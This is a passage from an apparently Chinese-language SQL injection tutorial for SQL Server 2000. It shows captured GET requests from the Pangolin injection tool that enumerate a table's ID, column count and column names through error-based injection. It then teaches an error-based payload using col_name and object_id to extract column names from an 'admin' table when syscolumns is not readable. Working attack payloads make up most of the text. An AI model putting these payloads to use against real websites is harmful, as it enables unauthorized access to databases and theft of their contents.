'dt_displayoaerror','dt_displayoaerror_u','dt_droppropertiesbyid','dt_dropuserobjectbyid','dt_generateansiname', 'dt_getobjwithprop','dt_getobjwithprop_u','dt_getpropertiesbyid','dt_getpropertiesbyid_u','dt_getpropertiesbyid_vcs', 'dt_getpropertiesbyid_vcs_u','dt_isundersourcecontrol','dt_isundersourcecontrol_u','dt_setpropertybyid', 'dt_setpropertybyid_u','dt_validateloginparams','dt_validateloginparams_u','dt_whocheckedout','dt_whocheckedout_u', 'dtproperties','sysconstraints','syssegments') 代码在SQL SERVER 2000下测试通过。 先来抓包看一个PANGOLIN的暴列名的语句 ,十分经典: SQL代码 1. GET /sql.asp?id=1 and (select top 1 cast(id as nvarchar(20))+char(124) from [pubs]..[sysobjects] where name=0x4400390039005f0054006d007000)=0-- 取得要暴列名的表的ID 2. 3. GET /sql.asp?id=1 and (select cast(count(1) as varchar(10))+char(94) from [pubs]..[syscolumns] where id=757577737)=0-- 得到此表的列的数量 4. 5. GET /sql.asp?id=1 and (select top 1 cast(name as varchar(8000)) from (select top 1 colid,name from [pubs]..[syscolumns] where id=757577737 order by colid) t order by colid desc)=0-- 开始从syscolumns里面报列名了。 其它的注入工具也大同小异,都是从syscolumns里面取得列名。 当我们无法从syscolumns表里面取得数据该怎么办?比如我们没有syscolumns表的select权限。 下面就是文章的重点了,其实说白了也就是一个函数的应用 : SQL代码 1. select 1 where 1=(select isnull(col_name(object_id('admin'),3),'meiyoucilie')) 上面这条语句表示得到admin表的第三个列的名称,并与1进行比较,结果肯定是会报错的,通过报错结果我们就可以将第三列的名字暴出来了,没有用到syscolumns表哦。 用到的是col_name函数,它有两个参数,第一个就是表的ID,第二个就是列的索引。这个索引是从1开始的。 如果指定索引的号不存在。 比如admin表里面一共才三个列,结果索引传了个4进去 ,就会报错说"meiyoucilie"